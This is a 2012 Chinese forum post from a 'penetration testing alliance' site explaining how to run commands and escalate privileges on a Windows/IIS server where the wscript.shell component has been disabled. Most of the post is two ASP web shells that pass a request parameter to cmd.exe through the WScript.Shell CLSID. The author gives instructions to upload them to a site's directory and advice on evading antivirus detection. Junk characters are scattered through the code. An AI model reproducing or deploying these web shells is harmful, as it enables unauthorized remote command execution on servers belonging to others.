中国网络渗透测试联盟
标题:
没有wscript.shell组件提权方法
[打印本页]
作者:
admin
时间:
2012-10-21 09:08
标题:
没有wscript.shell组件提权方法
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
$ J& M+ s: b8 z7 \6 g. A6 w
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
& H Q, B: i, D; h* `3 o
要想让运行命令可以试试这种方法,成功率为五五之数。
$ `$ R' c1 t9 n4 q
把下面代码复制:
5 b% @& ~: E2 f& J
<%
. V1 p5 h6 h+ o( p
end if
+ G$ G% h5 x# H9 T, s' t0 ?$ b% U6 u
response.write(”")
/ [+ X( C. P# \( ?# q
On Error Resume
1 {8 T) J* H, w
Next
4 T8 W% H; v$ n0 q$ |' C5 D! s1 q
response.write oScriptlhn.exec(”cmd.exe /c” &
7 V& d5 S7 @) p( h' r
request(”c”)).stdout.readall
8 \9 P& B6 S5 y# X! X
response.write(”")
6 {+ R/ q% N9 f' ^0 t5 e4 v" G
response.write(”")
, V J/ C% Z2 H' ^; R
response.write(”
; Q/ k' r- a" k0 o
“)
% c0 o) U; o; b% k# @6 U* C4 W
response.write(”")
$ Y+ A" @4 [: w' t$ S
%>
) C3 x$ j, l, S1 j7 A
保存为一个asp文件,然后传到网站目录上去
7 a) ]4 O- X, ]6 n3 K$ \! h
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
. |6 z; U; o, M% K& _' u4 ~
我用此成功运行过cacls命令。
6 C$ Z2 g' E, }* h; V7 O
第二那就是运行时出错,可能限制某些代码执行
! T- q: P* o0 X
无wscript.shell组件提权又一个方法
$ x1 W7 j& v5 _: H# s7 M0 A
<object runat=server id=oScriptlhn scope=page
! g. S1 O" Y( O
5 j+ k t; U1 U
classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
7 r, Y f( G- c! D2 L
<%if err then%>
7 n. L) P. R& J1 t- E/ S
<object runat=server id=oScriptlhn scope=page
& \& l9 o' ?# ^3 Q1 p8 G7 Z# ?( B
5 x! I# |2 c0 t8 k8 }
classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
9 ]. y# g7 I% q1 E5 z
<%
% R' G& _1 d2 V9 U9 r1 ^' x
end if
4 c' v: _/ A2 z9 D' n' ^8 L' H
response.write(”<textarea readonly cols=80
5 t( _/ R( {/ ]
! r2 N$ }) i5 d* h
rows=20>”)
$ K5 _8 w2 n2 b4 m
On Error Resume Next
) s* D& Y: @& Y8 r1 V& w# U- ^
response.write
: o" [) E8 m- N2 q
+ o. B7 F0 l. n7 ?. x
oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
/ q9 L$ `# T0 M1 l4 G& S( [
response.write(”</textarea>”)
. l" e" e; o( m8 _
response.write(”<form
4 J' C3 d0 r# @5 D6 s7 j4 ?" X
9 } U5 O; h) L q- D- r: r7 H
method=’post’>”)
/ l9 e i% b: q4 [+ U+ U
response.write(”<input type=text name=’c'
) c( x9 _% X$ f" b- y- u- |
) v% E$ x( \* v! v2 T; N
size=60><br>”)
' \/ i1 k# m B4 `1 W
response.write(”<input type=submit
, _/ Q! P. S# s+ K d; K
0 {) Y- g! a6 K$ `1 F+ p
value=’执行’></form>”)
% p: a2 i& _% `- y+ g, w
%>
8 Q( Q* i! R; t- f! I* d* C
保存为ASP,此代码可能被杀,请注意免杀。
0 ?: `3 N6 s5 V/ t$ S
原理:有些人把wscript.shell改名了,但是clsid没有变,所以调用这个clsid就等于调用ws组建
7 y6 K) l% q0 C; Z% Y2 H3 T9 f
复制代码
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2